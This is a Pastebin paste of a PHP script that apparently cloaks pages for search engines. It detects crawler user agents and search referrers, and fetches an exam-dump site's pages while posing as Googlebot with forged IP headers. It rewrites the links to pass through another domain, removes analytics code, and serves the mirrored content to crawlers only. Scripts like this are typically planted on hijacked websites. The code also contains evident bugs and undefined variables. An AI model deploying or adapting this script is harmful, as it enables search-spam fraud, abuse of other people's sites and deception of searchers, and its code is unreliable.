Guest User

Untitled

a guest
Dec 8th, 2016
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.86 KB | None | 0 0
  1. error_reporting(E_ERROR | E_WARNING | E_PARSE);
  2. $tiaourl = "http://www.sure4dump.com/";
  3. $fromsite = "http://www.validdumps.com/";
  4. $mysite = "http://www.icv.hr/";
  5. $filename = "";
  6. $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
  7. $ref = strtolower($_SERVER['HTTP_REFERER']);
  8. if (strpos ($tmp, 'google') !== false || strpos ($tmp, 'yahoo') !== false || strpos ($tmp, 'msn') !== false || strpos ($tmp, 'sqworm') !== false) {
  9. $zzflag = 1;
  10. }
  11. if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false) {
  12. $rrflag = 1;
  13. }
  14.  
  15. function formaturl($l1, $l2) {
  16. if (preg_match_all ( "/(<img[^>]+src=\"([^\"]+)\"[^>]*>)|(<a[^>]+href=\"([^\"]+)\"[^>]*>)|(<img[^>]+src='([^']+)'[^>]*>)|(<a[^>]+href='([^']+)'[^>]*>)/i", $l1, $regs )) {
  17. foreach ( $regs [0] as $num => $url ) {
  18. $l1 = str_replace ( $url, lIIIIl ( $url, $l2 ), $l1 );
  19. }
  20. }
  21. return $l1;
  22. }
  23. function lIIIIl($l1, $l2) {
  24. if (preg_match ( "/(.*)(href|src)\=(.+?)( |\/\>|\>).*/i", $l1, $regs )) {
  25. $I2 = $regs [3];
  26. }
  27. if (strlen ( $I2 ) > 0) {
  28. $I1 = str_replace ( chr ( 34 ), "", $I2 );
  29. $I1 = str_replace ( chr ( 39 ), "", $I1 );
  30. } else {
  31. return $l1;
  32. }
  33. $url_parsed = parse_url ( $l2 );
  34. $scheme = $url_parsed ["scheme"];
  35. if ($scheme != "") {
  36. $scheme = $scheme . "://";
  37. }
  38. $host = $url_parsed ["host"];
  39. $l3 = $scheme . $host;
  40. if (strlen ( $l3 ) == 0) {
  41. return $l1;
  42. }
  43. $path = dirname ( $url_parsed ["path"] );
  44. if ($path [0] == "\\") {
  45. $path = "";
  46. }
  47. $pos = strpos ( $I1, "#" );
  48. if ($pos > 0)
  49. $I1 = substr ( $I1, 0, $pos );
  50.  
  51.  
  52. if (preg_match ( "/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\\\.\=\?\+\-~`@\':!%#]|(&amp;)|&)+/i", $I1 )) {
  53. return $l1;
  54. }
  55. elseif ($I1 [0] == "/") {
  56. $I1 = $l3 . $I1;
  57. }
  58. elseif (substr ( $I1, 0, 3 ) == "../") {
  59. while ( substr ( $I1, 0, 3 ) == "../" ) {
  60. $I1 = substr ( $I1, strlen ( $I1 ) - (strlen ( $I1 ) - 3), strlen ( $I1 ) - 3 );
  61. if (strlen ( $path ) > 0) {
  62. $path = dirname ( $path );
  63. }
  64. }
  65. $I1 = $l3 . $path . "/" . $I1;
  66. } elseif (substr ( $I1, 0, 2 ) == "./") {
  67. $I1 = $l3 . $path . substr ( $I1, strlen ( $I1 ) - (strlen ( $I1 ) - 1), strlen ( $I1 ) - 1 );
  68. } elseif (strtolower ( substr ( $I1, 0, 7 ) ) == "mailto:" || strtolower ( substr ( $I1, 0, 11 ) ) == "javascript:") {
  69. return $l1;
  70. } else {
  71. $I1 = $l3 . $path . "/" . $I1;
  72. }
  73. return str_replace ( $I2, "\"$I1\"", $l1 );
  74. }
  75. $url = empty($_GET['ske'])?"":$_GET['ske'];
  76. if(function_exists('curl_init')){
  77. $s = curl_init();
  78. curl_setopt($s,CURLOPT_URL,$fromsite . $url);
  79. curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
  80. curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  81. curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
  82. curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
  83. $content = curl_exec($s);
  84. }else{$content=file_get_contents($fromsite . $url);}
  85. $$content = formaturl($content,$fromsite);
  86. $qstr = $filename."?ske=";
  87. $repstr = $mysite.$qstr;
  88. $content = str_replace($fromsite,$repstr,$content);
  89.  
  90. $content = str_replace("src=\"".$repstr,"src=\"".$fromsite,$content);
  91.  
  92. $content = str_replace("href=\"","href=\"".$repstr,$content);
  93. $content = str_replace($repstr.$repstr,$repstr,$content);
  94. $content = str_replace($repstr."static",$fromsite."static",$content);
  95. $content = str_replace($repstr."skin",$fromsite."skin",$content);
  96. $content = str_replace($repstr."js",$fromsite."js",$content);
  97. $content = str_replace($repstr."/css",$fromsite."css",$content);
  98. $content = str_replace($repstr."media",$fromsite."media",$content);
  99. $content = str_replace($repstr."\"",$mysite1."\"",$content);
  100. $content = str_replace($repstr."/\"",$mysite1."\"",$content);
  101. $content = str_replace("/design",$fromsite."design",$content);
  102.  
  103. $content = str_replace("/js",$fromsite."js",$content);
  104. $content = str_replace("/images",$fromsite."images",$content);
  105. $content = str_replace($repstr.$fromsite,$fromsite,$content);
  106. $content = str_replace("action=\"/cart","action=\"".$fromsite."cart",$content);
  107. $content = str_replace($repstr."/cart",$fromsite."cart",$content);
  108. $content = str_replace($repstr."/customer",$fromsite."customer",$content);
  109. $content = str_replace($repstr."javascript:void","javascript:void",$content);
  110. $content = str_replace("<form action=\"/","<form action=\"".$fromsite,$content);
  111. $content = str_replace("ACTION=\"/","ACTION=\"".$fromsite,$content);
  112. $content = str_replace("text/css","Test",$content);
  113. $content = str_replace("text/javascript","exam",$content);
  114. $content = str_replace("image/","exam",$content);
  115. $content = str_replace("statcounter","sdf",$content);
  116. $content = str_replace("</head>",$iframe."</head>",$content);
  117. $content = str_replace("ga(","pdf",$content);
  118. $content = str_replace("google-analytics.com","dumps",$content);
  119. $content = str_replace($repstr."/",$repstr,$content);
  120. $content = str_replace("statcounter","exam",$content);
  121. $content = str_replace("ga(","exam",$content);
  122. $content = str_replace("</head>",'<meta name="robots" content="index,follow,noarchive" /></head>',$content);
  123. $content = str_replace("<body>","<body>".$google_data,$content);
  124. if ($url=='')
  125. {
  126. if($zzflag == 1){
  127. echo $content;
  128. exit;
  129. }
  130. }
Advertisement
Add Comment
Please, Sign In to add comment